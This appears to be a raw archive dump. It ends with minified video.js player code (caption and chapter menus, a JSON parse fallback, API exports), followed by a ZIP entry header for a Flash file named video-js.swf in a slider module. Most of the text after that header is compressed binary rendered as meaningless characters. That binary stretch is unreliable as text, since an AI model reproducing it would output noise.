t.aa.prototype.s=function(){t.J.prototype.s.call(this);Y(this.d,this.ha.K,this.ha.M())};t.aa.prototype.update=function(){this.selected(2==this.ha.mode())};t.ob=t.aa.extend({i:function(a,c){c.track={M:function(){return c.kind},j:a,label:function(){return c.kind+" off"},Ab:r(l),mode:r(l)};t.aa.call(this,a,c);this.selected(f)}});t.ob.prototype.s=function(){t.aa.prototype.s.call(this);Y(this.d,this.ha.K,this.ha.M())};
t.ob.prototype.update=function(){for(var a=this.d.textTracks(),c=0,d=a.length,e,g=f;c<d;c++)e=a[c],e.M()==this.ha.M()&&2==e.mode()&&(g=l);this.selected(g)};t.T=t.L.extend({i:function(a,c){t.L.call(this,a,c);1>=this.P.length&&this.Y()}});t.T.prototype.ya=function(){var a=[],c;a.push(new t.ob(this.d,{kind:this.G}));for(var d=0;d<this.d.textTracks().length;d++)c=this.d.textTracks()[d],c.M()===this.G&&a.push(new t.aa(this.d,{track:c}));return a};
t.La=t.T.extend({i:function(a,c,d){t.T.call(this,a,c,d);this.b.setAttribute("aria-label","Captions Menu")}});t.La.prototype.G="captions";t.La.prototype.la="Captions";t.La.prototype.className="vjs-captions-button";t.Qa=t.T.extend({i:function(a,c,d){t.T.call(this,a,c,d);this.b.setAttribute("aria-label","Subtitles Menu")}});t.Qa.prototype.G="subtitles";t.Qa.prototype.la="Subtitles";t.Qa.prototype.className="vjs-subtitles-button";
t.Ma=t.T.extend({i:function(a,c,d){t.T.call(this,a,c,d);this.b.setAttribute("aria-label","Chapters Menu")}});s=t.Ma.prototype;s.G="chapters";s.la="Chapters";s.className="vjs-chapters-button";s.ya=function(){for(var a=[],c,d=0;d<this.d.textTracks().length;d++)c=this.d.textTracks()[d],c.M()===this.G&&a.push(new t.aa(this.d,{track:c}));return a};
s.za=function(){for(var a=this.d.textTracks(),c=0,d=a.length,e,g,h=this.P=[];c<d;c++)if(e=a[c],e.M()==this.G)if(0===e.readyState())e.load(),e.c("loaded",t.bind(this,this.za));else{g=e;break}a=this.Da;a===b&&(a=new t.ja(this.d),a.ma().appendChild(t.e("li",{className:"vjs-menu-title",innerHTML:t.ba(this.G),re:-1})));if(g){e=g.ca;for(var j,c=0,d=e.length;c<d;c++)j=e[c],j=new t.ib(this.d,{track:g,cue:j}),h.push(j),a.U(j);this.U(a)}0<this.P.length&&this.show();return a};
t.ib=t.J.extend({i:function(a,c){var d=this.ha=c.track,e=this.cue=c.cue,g=a.currentTime();c.label=e.text;c.selected=e.startTime<=g&&g<e.Aa;t.J.call(this,a,c);d.c("cuechange",t.bind(this,this.update))}});t.ib.prototype.s=function(){t.J.prototype.s.call(this);this.d.currentTime(this.cue.startTime);this.update(this.cue.startTime)};t.ib.prototype.update=function(){var a=this.cue,c=this.d.currentTime();this.selected(a.startTime<=c&&c<a.Aa)};
t.h.z(t.Na.prototype.m.children,{subtitlesButton:{},captionsButton:{},chaptersButton:{}});
if("undefined"!==typeof window.JSON&&"function"===typeof window.JSON.parse)t.JSON=window.JSON;else{t.JSON={};var Z=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;t.JSON.parse=function(a,c){function d(a,e){var j,p,q=a[e];if(q&&"object"===typeof q)for(j in q)Object.prototype.hasOwnProperty.call(q,j)&&(p=d(q,j),p!==b?q[j]=p:delete q[j]);return c.call(a,e,q)}var e;a=String(a);Z.lastIndex=0;Z.test(a)&&(a=a.replace(Z,function(a){return"\\u"+("0000"+
a.charCodeAt(0).toString(16)).slice(-4)}));if(/^[\],:{}\s]*$/.test(a.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,"")))return e=eval("("+a+")"),"function"===typeof c?d({"":e},""):e;throw new SyntaxError("JSON.parse(): invalid or malformed JSON data");}}
t.nc=function(){var a,c,d,e;a=document.getElementsByTagName("video");c=document.getElementsByTagName("audio");var g=[];if(a&&0<a.length){d=0;for(e=a.length;d<e;d++)g.push(a[d])}if(c&&0<c.length){d=0;for(e=c.length;d<e;d++)g.push(c[d])}if(g&&0<g.length){d=0;for(e=g.length;d<e;d++)if((c=g[d])&&c.getAttribute)c.player===b&&(a=c.getAttribute("data-setup"),a!==k&&videojs(c));else{t.wb();break}}else t.cd||t.wb()};t.wb=function(){setTimeout(t.nc,1)};
"complete"===document.readyState?t.cd=f:t.Q(window,"load",function(){t.cd=f});t.wb();t.ge=function(a,c){t.Player.prototype[a]=c};var qa=this;function $(a,c){var d=a.split("."),e=qa;!(d[0]in e)&&e.execScript&&e.execScript("var "+d[0]);for(var g;d.length&&(g=d.shift());)!d.length&&c!==b?e[g]=c:e=e[g]?e[g]:e[g]={}};$("videojs",t);$("_V_",t);$("videojs.options",t.options);$("videojs.players",t.Fa);$("videojs.TOUCH_ENABLED",t.ic);$("videojs.cache",t.xa);$("videojs.Component",t.a);t.a.prototype.player=t.a.prototype.j;t.a.prototype.options=t.a.prototype.options;t.a.prototype.init=t.a.prototype.i;t.a.prototype.dispose=t.a.prototype.dispose;t.a.prototype.createEl=t.a.prototype.e;t.a.prototype.contentEl=t.a.prototype.ma;t.a.prototype.el=t.a.prototype.w;t.a.prototype.addChild=t.a.prototype.U;
t.a.prototype.getChild=t.a.prototype.na;t.a.prototype.getChildById=t.a.prototype.Kd;t.a.prototype.children=t.a.prototype.children;t.a.prototype.initChildren=t.a.prototype.Dc;t.a.prototype.removeChild=t.a.prototype.removeChild;t.a.prototype.on=t.a.prototype.c;t.a.prototype.off=t.a.prototype.k;t.a.prototype.one=t.a.prototype.Q;t.a.prototype.trigger=t.a.prototype.l;t.a.prototype.triggerReady=t.a.prototype.Ka;t.a.prototype.show=t.a.prototype.show;t.a.prototype.hide=t.a.prototype.Y;
t.a.prototype.width=t.a.prototype.width;t.a.prototype.height=t.a.prototype.height;t.a.prototype.dimensions=t.a.prototype.Dd;t.a.prototype.ready=t.a.prototype.H;t.a.prototype.addClass=t.a.prototype.n;t.a.prototype.removeClass=t.a.prototype.r;t.a.prototype.buildCSSClass=t.a.prototype.S;t.a.prototype.localize=t.a.prototype.t;t.a.prototype.setInterval=t.a.prototype.setInterval;t.a.prototype.setTimeout=t.a.prototype.setTimeout;t.Player.prototype.ended=t.Player.prototype.ended;
t.Player.prototype.enterFullWindow=t.Player.prototype.yc;t.Player.prototype.exitFullWindow=t.Player.prototype.Db;t.Player.prototype.preload=t.Player.prototype.Ga;t.Player.prototype.remainingTime=t.Player.prototype.remainingTime;t.Player.prototype.supportsFullScreen=t.Player.prototype.Ha;t.Player.prototype.currentType=t.Player.prototype.zd;t.Player.prototype.requestFullScreen=t.Player.prototype.requestFullScreen;t.Player.prototype.requestFullscreen=t.Player.prototype.requestFullscreen;
t.Player.prototype.cancelFullScreen=t.Player.prototype.cancelFullScreen;t.Player.prototype.exitFullscreen=t.Player.prototype.exitFullscreen;t.Player.prototype.isFullScreen=t.Player.prototype.isFullScreen;t.Player.prototype.isFullscreen=t.Player.prototype.isFullscreen;$("videojs.MediaLoader",t.pd);$("videojs.TextTrackDisplay",t.jc);$("videojs.ControlBar",t.Na);$("videojs.Button",t.u);$("videojs.PlayToggle",t.dc);$("videojs.FullscreenToggle",t.Oa);$("videojs.BigPlayButton",t.hb);
$("videojs.LoadingSpinner",t.bc);$("videojs.CurrentTimeDisplay",t.jb);$("videojs.DurationDisplay",t.kb);$("videojs.TimeDivider",t.kc);$("videojs.RemainingTimeDisplay",t.rb);$("videojs.LiveDisplay",t.ac);$("videojs.ErrorDisplay",t.lb);$("videojs.Slider",t.R);$("videojs.ProgressControl",t.qb);$("videojs.SeekBar",t.gc);$("videojs.LoadProgressBar",t.nb);$("videojs.PlayProgressBar",t.cc);$("videojs.SeekHandle",t.Pa);$("videojs.VolumeControl",t.tb);$("videojs.VolumeBar",t.sb);$("videojs.VolumeLevel",t.lc);
$("videojs.VolumeMenuButton",t.va);$("videojs.VolumeHandle",t.ub);$("videojs.MuteToggle",t.ka);$("videojs.PosterImage",t.fc);$("videojs.Menu",t.ja);$("videojs.MenuItem",t.J);$("videojs.MenuButton",t.L);$("videojs.PlaybackRateMenuButton",t.ec);t.L.prototype.createItems=t.L.prototype.ya;t.T.prototype.createItems=t.T.prototype.ya;t.Ma.prototype.createItems=t.Ma.prototype.ya;$("videojs.SubtitlesButton",t.Qa);$("videojs.CaptionsButton",t.La);$("videojs.ChaptersButton",t.Ma);
$("videojs.MediaTechController",t.q);t.q.prototype.featuresVolumeControl=t.q.prototype.Ge;t.q.prototype.featuresFullscreenResize=t.q.prototype.Ce;t.q.prototype.featuresPlaybackRate=t.q.prototype.De;t.q.prototype.featuresProgressEvents=t.q.prototype.Ee;t.q.prototype.featuresTimeupdateEvents=t.q.prototype.Fe;t.q.prototype.setPoster=t.q.prototype.Tc;$("videojs.Html5",t.g);t.g.Events=t.g.mb;t.g.isSupported=t.g.isSupported;t.g.canPlaySource=t.g.oc;t.g.patchCanPlayType=t.g.Kc;t.g.unpatchCanPlayType=t.g.we;
t.g.prototype.setCurrentTime=t.g.prototype.Tb;t.g.prototype.setVolume=t.g.prototype.oe;t.g.prototype.setMuted=t.g.prototype.le;t.g.prototype.setPreload=t.g.prototype.ne;t.g.prototype.setAutoplay=t.g.prototype.ie;t.g.prototype.setLoop=t.g.prototype.ke;t.g.prototype.enterFullScreen=t.g.prototype.xc;t.g.prototype.exitFullScreen=t.g.prototype.Gd;t.g.prototype.playbackRate=t.g.prototype.playbackRate;t.g.prototype.setPlaybackRate=t.g.prototype.me;$("videojs.Flash",t.f);t.f.isSupported=t.f.isSupported;
t.f.canPlaySource=t.f.oc;t.f.onReady=t.f.onReady;t.f.embed=t.f.wc;t.f.version=t.f.version;$("videojs.TextTrack",t.B);t.B.prototype.label=t.B.prototype.label;t.B.prototype.kind=t.B.prototype.M;t.B.prototype.mode=t.B.prototype.mode;t.B.prototype.cues=t.B.prototype.yd;t.B.prototype.activeCues=t.B.prototype.rd;$("videojs.CaptionsTrack",t.Zb);$("videojs.SubtitlesTrack",t.hc);$("videojs.ChaptersTrack",t.$b);$("videojs.autoSetup",t.nc);$("videojs.plugin",t.ge);$("videojs.createTimeRange",t.zb);
$("videojs.util",t.Z);t.Z.mergeOptions=t.Z.Ea;t.addLanguage=t.sd;})();
PK!�7W
C
C8mod_ap_smart_layerslider/assets/js/video_js/video-js.swfnu&1i�CWS��x�ݽxT�?z�>g�dR'	��Q� 8@�WT4�@"0��5e��0�$�����+ �ؕb�nC��bŚ	��X��B���LI��}��]{����k���g❫wkZ�%�v�
��4�̗��
��e��9s��ZB�;vd��m�q��̙3vΡc��3�|�QG��;d�!��A�1�y-m޹cZB#FN�B������-9����ێ9R��PtV{k���~�����ki�;x���~�?���m��5����KÍ�;&֟9�;�7���
�mH}�ۚ|��u���&�ܜ�r�Ekل7D��L/�[l7�5��^��Jt��BC�j�kj|��[�l	ΑSDK�M}����oa�Q}��ef�w�oB�4Q��m�	������9��|��
��k�U	�7A+t~��p���D�`�ל���R��B�/&�hl�K˵�4]�i(���f��S�٘���/M�߇ǭ74cv��!Yl�X�l����PbEc��U����Ɩ���`���mI�l�d���_}[������rL����om��K���/?��f�l_�}�[�Ɩ�$�b�lb�P�bxj��הR�I�|m��)ЊD9�L_��Q��^��Oko���}
�^�"#fP��Q1��;��[�`ךNfJ<E��A�Čr_}{kcۼhQ�����V_($r��|m�m޶v�5�H)�����,Ld/��1|挢���4�ac{�Q��$�M�	�A���-���hlil���jö�E��m��kBv?jC��`K~C���"XN#��ǍT�Xf�*,�P�&����0���x��|
����@Pf2�ii�!b��Y�a���`k[��$_6c���m^���w���ۂ��``c(��r�(�eS�OK��$��ZaoJ���L���{�z2��"ۛ}���]f҂-�-����6!�d�+�gf��J���lB�ő��4���i5�O��HIDo�x�^;�5ݷ�掏US[
�נ�>��qX����EY�EQU3k�g4��$�"��5�t�l"MSB{�m��p��G�͚f/)�`v<�<���P��m	��P��ӊ���V1o�/�F�S��Z�}�58)m�9���Z����0�(��H�`8Q���5g�C�s�	)PIdW#��bff+1[l
���7�
x͚ي�R���k���j���YFM��>����yVA����4C��D�<4fͬ �A|:{�6�_���${ch�/zm^:�i����k����k�
]�Khho�e��@Jﳞ��r�hP�l.&�6�����%�!�
_��cckno�5�!��LX��_ۜ`�d!}��a� M���eB�X#,�E�UAc&�Ql�6%������H�d_#N�I�c"�,2
�u��
%�up|�:hM�E+"2���5�&���
{�B��87B��!�r�}���l���I�܊���R��ޖ���S�)-*�7f��I�L���س5�ru���oP?�No�8�tၘ.�9�y[�J����e'+�kMA�Ĉ�$Ғe�4� �X��D��*\���6Zւ`��R�g�q_zl���}bK�nXqM��AMZ��-�鼅�[R�j	�^�"�(9֪��gXc�ۯ5�&IB���4�|��)�|H���O�??���mk����
���������h#���O;gM[�930��M\��ɬ��g֐l�~P��Y��2(��X�� ��nR�1$M�v�XV ݲf%P�Flf��&DB�	�"3/LASryLf ,"-@m�b�Oiƫa@|����daI�\����F��1I���RqƔ��*
�%S�b��A8��5ج�fZ��&�OM�Wxj#W\CFCP���M��`KE�xȓ�!6�r�T�s���X��ʄ��ʜ1턤0HI�r�����Y)�k%K1|O�/���*�N��]=���kZ�ғ�!O�a�^�9"�#M�{e���yb��'
'Kا@��!S�H�)5��zZ�*��t�@�>jp�X�K�*O���A��&*T�d���8ۗB"����G�u=%״�f����^z�NV8n})�D�/�^�/�0v�%Z���F��4b�P�V�.��l9y�t2rʫ�-P<񤂀����
�->X���:
�|i��l	Y�Đ���韈�O���`��d'��
	�h<~��f�H�8��h�gx��}�5�K��km�X�ʃ��/��3������`r��IE�y�zؕ�>����/�)��/�p�i�&P*"bz~ey�DYQy��"1ZQ�	����x�N�RTQd���+����j�+�L�����)�:��s�ưefLy���ɦ��7��0%�����Y�P8��"�0�"?U�m�TV��W �SKN��H��:��QM($��1e5��<��&��:uY�Rgx�`԰�ҩ���
�^��iӊ
*j�+
���S��K���f�*+�(;�Au��ȩr�'a�)%'$
��£$��4�+�p@p-�6�*=,�$Y�'�6 n��)�eE1���M���e��Ee��a�=��
��T�h��6�S^I�xj���<e)��l��lT��E�e%H�ɔmBʱ-����+�O��U�L������"���J&�UC�JN-�'6�[3��?��x�
�xh���"1�h�����x�
>\��%�J�sa�v��?�4��V�h�qz��3�J�B|1�$�~U�L��L�ط�26�>Yiw
��G�I�a�=���V5)����򊲢���o��w��l�,S�U"��ؽO�4A�1����]c�dF󤫢,w��"�bf�jﳉ&1]
�xʋ��E4�C e%�5�ӱ�E�o|ۘy������3v��*��/�ImŬ7�d����6;���b��/�Ƕ�ꧢhZ�6Zҭ$L����:���f��JV�CV����SSX2�h=�w��ol�6q���+K<6��*а��mhL��D
�a+<����<�6'X����88�0،�2Sа>T�e�Zm%�#�=��ML�O=�G���wH^�����p��M��i��S�ó��#�p%-�~o��ᝍK�[��K��
�M
6qW�K>R>$����4��1�T_K{	i���C:<�����g�k��9[n��9E�>8���)i��3�3��&�jJZh�PR}{�-�,hcV{(�T�z����'Zv�D�@��΃i����8D/�C���[�ȇ��d�R�혢��^�K�Ո�'�H�|���8�K�	�.�5���g�{�/��]��ǃ�#ľ��p
g�dá{$;�+�^O�8	>?�h0��R�L��!�M��?��ۘ/�yx+�ƒS6�� g�-Ј����e�H
FK

�	M6�:٥Ð*��Q�`,aNZA��"G�*J-�g�$Tx��L)*��y)k>pf��wl�3Ayk}��b��%5�x���Ll���)�Z��%#�M��DS��Z���U��]#>��	�Q>�lĆ���e��EsgeW����q�7�20K�`+�J��z,�����”���	=���d��Y�&_�̶@���ʊb�4(�llaCN�,�[_e��S�ſ��R��/QD�S��8��޳S�c�F2��Ҡ�Q>̋�\v�������<6����ys���U�9�;��1GՌ��3M�M�i�t���O?�8��]j���	3[����!G�ofcKq#�l9{@ڷ�V�z76a.D�W<d�n5�H:B�`[����|g�C0)�%Pٰta��bK�`]�	����h�a�#I*�0��T0k���y��F/�����m��YM�'�Q|���*���r�(='�P���cL�dx��6?_[b�I8��B�izIᡩ��̃�VRl_j����&�N�)-L���ph�<lS�z&�U�����_���.��/\����&�B�4��y��#�w&x��ovD�Gtj4U����Fh��	���&6ɠ�%)�3���G���[�.ev��Ÿ�vG8K�ll��w�0e��j�ۛ����!����g�ଘ�]c�`[�ް>-�F]1iyB}�o=�$�<w$7�ȹh�!����D�i���l���-��7Z%�:6�^ "��,��g%f%g�ٴ����Y���<���8���
�4x2�i(���
��!wK��
���.J���;���b���O��g�ij��6m2|�2}�r}�
}�J}��:
ӆL�a�Ј�*��hCh�!2'���F��$��w�!�&�d���q3i0�l�,���:|�2{����9Jta)	��AG�vs8F�cA�?�PG.;��z�a2nr��6��Mf�<�dSO2���s�D��4�香i�fB��l:�1��5y�ɇ�l���c������e&`�f�H3�@3y��<�L>�Lv��c��f�839�L>�L>�L>�L>�L>�L>�L>�L���|��<�L>�L>�L>�L9�L�7�MVdڊ�%���p�ɦ�|���1��Y'�YefV��Ua�af�df�lf�bf�jf�ff�nfU�Y�fV��Ukfyͬ:3���j0��d~��4Y�d�&;�dg���d�&k1Y�d�Lv��ZM2Y���M6�dsL6ׄmfg����k���?&;�d���,,\X��p�b�%�K�.\�p`3��V0s�5�k�13�z�'�Cn�	�
��6��ZXX��p3Snef�yf�<3�,3���>��>����}��
γ�y�F�����:��9f��@A3�.���=���
���l� +��
���l� {�nf��9f0s�}��<x��k������Lx�Iী7�l<x��y��[/��_f8e#MVX�2������:��m��)4S�����&3]o��.�{����X�,e�2K��������5G`E#>|������9`'��������_����-�;���� =��G�O���~��|���\��s�c.x����1<��\�s��
�
(3s{��f.x����7���\�~s�o.xͭ5s�@����Ϲ�9<��\�K�.��}�b��%�K.\�p`9`%��u�7V��n�
�p�.�݀{�ss��f�#��<x
�4��s�[/^��t�v��x��#�'��;_���_��7G����?���+�7��?�y�_��a�|��@��,\�;��i@_�p�n�7ߤ;|ܱJ�ՀV�w��w�E��;�Q�h�p3��L��6��7��p`��x��<.C�	�y�`3�O��CuG��H�
�;�M��4�E�s�[�%�ˀ����7�G��04��4��$ھ
x�.�=���>�M�Ǻy�'�?|����K���xWO4�W�
���-�;�=�^�y�M��;JMǭ,	Fw��'C(�
�;��<�/����=�a�qc��)�7X��T����b�q������Ƽ�p<���З����p\a�:�,tcij� =L�aЫT�������Ұ�4���Y��N���)�!�Xrr���<�2]�20j��/�:�����@
m��?���ی�̫%��<9�fZ
��R-�"��$�p�Fi���$����6"l{��W�Mv��$HT[(���ژV�W"��k�#<R.��2�X��￸Q�)Ɉ$��$���Z+�_�B�zﷵ���W��� 83m�)Wܚ���?�ɚ��.�����'9k#�"�dZ���a�w]bM���m�Y��eE]��+GB�{�]���g����>��4ؑ��!��5c6Dӆjٚ6L]ٗiz6`?��g�}�L�`b'-q$ӒdZ�(X��LK=�iin�9�0-},�2�1-3�if�C��u(�ƴ����T�s��Hӆk����G��ŵ��2�Hm�`G�6Z�iGkǐ�<�k%Op��U�i�k��A�`_�^�iEZ1N"3:Y#ɕ��
�~�H���S�Չ�Ӑ&%y=]�<Q�e"-i��*t��J�R�k����a3t��v�I�v��L��)L;�T��?�kG��kǜεcO׵	U\;�J׎��Z~
�&��ZA-�
ku��˵b��M����:]+��Zi�����)
�6էk�\�um�L���ZY#��u���U�ɵM\;��k'7��)-\;�E�Nr��Y\�:�kխ\�	q���k�v���fZ��5�e�o�g3m�9L�˴�3�0����4�d�$-��G2k��R�j!��}����HkK�^ȴ�"s#�]�s.A2�R$�.Cr��HιɹW"��UH���yˑ�g+�.`+�.dW3�1T�E8��}��Ṑ]m^ʮ}����z���݀�Rv#���M(���Bz[��J��Ul-�el��l=�lҕ�-�v5��5�V�ײې^�nGz=�)]��nDLŴ�U1m�*��FXŴ5����݋t��zv?�
��73��a�!�w�Ì�#H��(!�1&��q����I��bt*6��iY�E�g��e�s@�3�Y��D[%zI��%zE��D�1q^��Cvʖۄ�O�ͻ�Am�bзM�w7���à��2�}Jw?��=���g2(�CZ�0��=��@�Z���q����$��?�v`�63���:��A)�a��gٿi�����y��7��E�ҭ�m�/�w����E�
{��}������>D�>B��ҹc_
�|̔����9���dڧl�c��v�g���i;��`ڗB`_���r�v��od�[!����}/��(�O�,N�/b�_E����]�?��F��_�-�n�z$
K4��@��\I�]��{$��Ij��>$�}DR����	I�S��g$�υ�v�Ծ �}IR�JH�k��.!�oHjߒ����^H��ڏ$��Hj?��~!��JR�������Bj"(f�_lҿ3m7�c�� @fZ!2�_�t��B~1��%H�K�.�!��_�t	��J�K�UH/�����|�r.$��I��$�����5��k��]'�� э�$�*.�j�[�I�k����q��z�n��7s!�[d�V�n��v�6Jt�DwJt��m�$y�$/������޸�C��8Ĺ���iq'�� ԫ9�z
�P���u��z=�Po��B���PWqu5'����Z���$�����C�7s����!��8�z;�P7r�NB���P���M�^�w����Gz/�}�A��q> ���CB�c�C2�vf,��an�t�n׍��
W�c�n3p�<��v�����{�����;��fnO4�Os{����ۓ�e�=��)�
Ξ�T�jΞ�4�ZΞ�v�q=g/p{�q#g/r{�����ܞi��l��1������
��B���٫��m��F�m��ub�N�:��M�������zbO��'�å���$m;O����F�(m��<Y{ec[�vm�oQ��9{��?�.�ۘ��2ޡ�͜�K[8{�~������9��Xz�����8��Xz���i�^��ڬ�>�����g�Yop�9mV7g;i����ڬ�9��6�]ξ��z���i�>�lm��V�C,}�ٷ����72��a��e���F�ˎ0�2�Ȏ24�͆���'&�LxG#�����74ǭ�.#\���ԍP�В�n� �5�8�ΖqCK�����;��1�9�u�u�hU����c��v��w���|�y�8S��ݏ��s$�cy�?r�.�3E�����)��j��y�Ͼ�dh�P-0���6���?�lU�K]�'���)����ޓ�vs��h���#Kws}�n���v�H������pm~���	s��?_���Y��.�B�ꆑ��'��;i�<p�>_��<��2��9��\�L��Y��H+s!2Z��Ȍ�2!3��\��+s	2c�̥Ȍ�2�!�ge.G�`+s2�P�y	6,�3�Tmt�較�iW��t�b��}�����6*R�Vߘ��j���M��^�Dg���,T�i���q��q\ag�����C��.͙�i�Q��]w�Q6��_��*ڕ�!��t>I�o���D�����R"���Qll�zb�&C�Frq	q��8MhF��[��K���T�V*��/ӽ3yy?+�\�<Au�zU��{�>�*�mV�W�3ȕ��m\�1P5�2"���U�~z^%{"8눔�2�QC�x}�
��9��q����<N�,�g�er�^{�L��+ry?����i��mP�
��3�Q�m�B/FLD���Z����O'����tR$ͦsG��0D�Z����ad�(��";��^���׽7�Dߨ�oҽ�P��Y�Sl�q�%Ɓri�Fg$;�!+e��9O�5�k`f<é�iG��0��!9��,��k�dUFm���Wj��3�M��Xݑ���,����n�p��d�u0���҉`=��h'����zN���N��d�#[G��Gt��Ɋ�ZD�E4[D�E�ZD�Ḛ�:��.
����Qc��ngXę�dA9��̲��,��"BQo
�ND$��n߶!vM���w�n��lF�<���Zd�#3������bdΒ��(dV�2gw��j�3�Ð�[��i�ݣr'<>�<�It��i�{UU��s��S�d���d.�r�d&�2g�L��nd.P�εȝ#3��Ȝ+3�����d:�Af��4�ٌ�j�����,��-T�AN�#��*7�y8r�Tn�H�֪Q�8q8��23��'Q�NN)n�Y=���w�/�^�;|���-��w�?�;�ew����7v����|w����ow���zŽ�pFOxhO���>�'<�'\�����	W��g��1n�C�o�g��)M�J�V�Ƽ��ӸUbl#Y�,�J��*^����yh\�l\<U����L�5V�s7�/����ۧ��L��~�=T��3�9o�_���̹�W��sA?35:��5�Sz�T�ԫ��y�UR{��U��˝�3�9�h���.u��Cʾ.u�^D�.u�C��K��;5:-]� ���t��t%r�]� -B�?]��AfN�:F��ܡ.u��4:S]�y�{P咜�t:��):��M�:DRC��)ڥN���N���}�;_j��'<�'|tOxjO��'��^���'��'�PO�՞�=�z��CϧtqP�W$�R�(F]*���!�x��\�PW��|tG^����u��Q}"�,^��S�:wwj\�h��q}[�%�6�&�I;�MH��	u���D܃N�ozd�]��Ȍ+:����CE�Υ�����h]O	X�g��N�ʝ�I���3���}8b�܎<�Vk��Nȫ�Yϫ�p+`0�w�6L�B�!��Ɲ3���<��~���ü���,��~�6<ʫ������ǹ����	x�<��~Mx�I^�|ox�Wo����y��v7�4�����x`�~��W�3��Y����q��<��~�����y��}#���_��U<�"����kx`+GC3lvS!���i֊ٰ͓��(FK�������x�%^�2wo�y�+�}�«_���x�U^�wo��x���}'�Ϋ;�{t�t��۷�t|X��p4��:�����۸�>�ƫ���袡�3t�=��*wd�ޱ-p$
�g�f��GByG`|#���'�V�$�Xd^������\�A�`K�w乴n�������N�mz�ެJ(M��'��O���NǤ��̆I��H�u	u�ћ��zq"C���
0�]�i{h��K5yO���z*����.Wޭ.��ۼuQ'�����ܱ�W��{L�S1
��{
��Jð��1�������?�-��~D��1�~�˾��&F�י��	G�Ѵ\����􎼪;t��zmb9;`>��F�4W�{�>���
�

��+l*���C�D��NV8E�T��v*��p�™
Px��Y
Rx��(<D�
g+<L��
�p��)���#v)|�¹
�T�@�G)<Z�\v����*<�u��y��>�u������Pב�������x��t-�\�|��X�ǫ�V���Ux���)|��.M��g����.]�"�!p��&�$�]��.S�W���.��'���Jx�+Y�i��=�T����>���̕.p�+C�
W�����p
�$W��'�	|�k������4����R�Z��k���\�*p�+[��0�}���]�
<ӕ#p�������>�5B�3].��\�����5R��@�g�F	|�k������������+�l�8�����:X�y�C>�u���u�������I|�|u�X`-�|�Xd�-��XbZ�R���".��K,�R���".��+,�J���"�Y�r�Xa+-�j���"����,�z���"n���,b�E���5��"�Y�z��`7[�-q�E�f�[�F���"�,b�E�m�XĽq�E�oXă�E<l�Xģ�E<nOXē�El���-b�E<c�Z�s�E�`/Z�V�x�"^��W,�U�x�"^���贈m�eoX�v�趈�E�eo[�;�E�g�[��E|d[�'�E|f�[�N���"����,�k��e�Xķ�E|o?Xď�E�l�Xį�E�nXğ�E�m�-��"’������F�9���
o�j�.=UcX�(���~��g�'?N�&�	�򘎪�K�������
��D���`7�#1�����
2���bKN8V�ݑW���Iմ���*�4E�ȼ;8J1�8;��'
�:W֦ܗ�$�(���Ɏ�O��(�������K���u��@W���T#0	��E�b�{0��=�#�����b�I1�D�D9�G��-g�޷�i|˭7.+��"��	|��p��?oa�!��'c�Cu,*�t&��a�%hqx�%hqD��$�8���I��Xݿ(+���N���t�OE�)����E�ё1K1�1�(;]Z�A�K�:���vT��f���j�zB=6�t�@��|���O@��"�'���Q�'�2�*3c��oc�+�R#�� W@�R$&�{t�
���bw�/	��)N��S:�ǡ������^��@AB���S<s(R*�;�ul��f-"��U�G��@�.��3�$�tzk1Hq����7)�����L��f��M��OG�Z�	���7�HIYT���C�u:x��,b�<���dwӜ�DNS�z��,��r"&8�+¸�1ˉh1%Ң-�RzfG^�|��jU7��0�>$�
�'���3�q��Ξ�~iY%����mލL�%�a
��s�x�FL�VY�?\�'�}9��N8PU�!��xi��y"5͈�����V�W��*��sT9�����(� +58��3#���w�b� X/�#�*�`�ʾ��"��w�Uj���Vݤ�N�,ur�D�j&;5R�A�i�J*O�;�j5hUߪ5���o�:UUí��9��f�D����*$��}7d�ܐ��5dM�2bU�非�t�c�n��O���oaw�����0�n�yl�s��0ҵ��KB
'˧�|[�:�>]��3&:R��zN��yP'��g�������K���]jt?�4=v�J�g���KT�Vl�}+�gО��Na�����~j�5M}�O֬C�'��Q{w����!>E&T�3�e����������W��~M�\]��ڻ�A�-4�b��eqt:Y�]ߘ�{2W�<h�C�Io���S��ݬ��.�Y���qF�~�{���Yo췰��Yk�G�H;�]z�:so׋��d�}G�����u��������3{�Yg�p�6)4��b��?��������½C0c���F3FF�F�:[Gg���NCy�i���Hu�d��;����\X�����=��(�oLe[���´�	�:��Q�e�t�B��������s��ci(e����SV�)���<n�Y郪y���8�h"�Y���DO�%���
��.Q+RC:��8W���<�V=a9�N��{L�zR���@
�G}��6����8�"��"&����>L��m .�-�qy� �1���X[��JYP5�t�X��2�S:5��b��:WE�DE�I��uEl�=�膪�<�kD��ӽ����^��/v������^�,A�%l���}�����r���,uj�Ũ[�"{i�H~���"���t�e_�E���
�:G7ɿ����=g�V�[t��<~@z���dN���%���_ƘW2�^�e�_A�Uqe���lY��5],�u��L,aU/�m����Y{�V�t+N����BL���)�L��:�y�q�qЯ%v�_KK�'�w�g�K�m�a:��g��.�;����

�R4��D���!~��N�1R����եe��,h��}�=;eO{��!v��w���l�ֆ����8z�u�6d���njשd�Mɼv����i}���+�ҙ��^-d�H���Ml���H~�Y���K���n='s=1��V�&TN["3T���D-h�ZВ^Z�gAKz-hI�9Ӕ��M%}s�{Y
�lw$N�S��vl�94����\�+�s����U_;<���u#1
�"���y>���Ԗ׾�/! .�-z�O�����Bo��Bq&IrD춥'H+���;�%
N����5Ƶ���U�E²��w���=sɃ:/�����>z��W�-`�e�mXػ�|f=W�����\q4�/b�
J�[�8�ū���'y�m�a1���.��u�"��W�ǵ�iL�Ԇ����991P���X�.����l�����ͨK+�c�f�Q�0�Kэ�!
�O38���aK���4���Q��F�\��9��dI�����\G�S��C�%z�}~��ZM�$���N�A-��b@"u��I���`.[eT8q�`q(�}��.b,��IG��6���}��/��_0#�ui��k|v�u(X+'} �/����?ͿJ����(�H4���F�/S��h�%�?.�FG��OD+7S哂a�=��)&��_?���&�u�G��.O���)��f�uÖ�
:F���1Jg�bw�ħ�r}�nr��F3�"ߏ�(d�����]N�9�^�w@ꚳ���a9jAT=�J��u��2u�~�.T���w��j~?��c�[�	
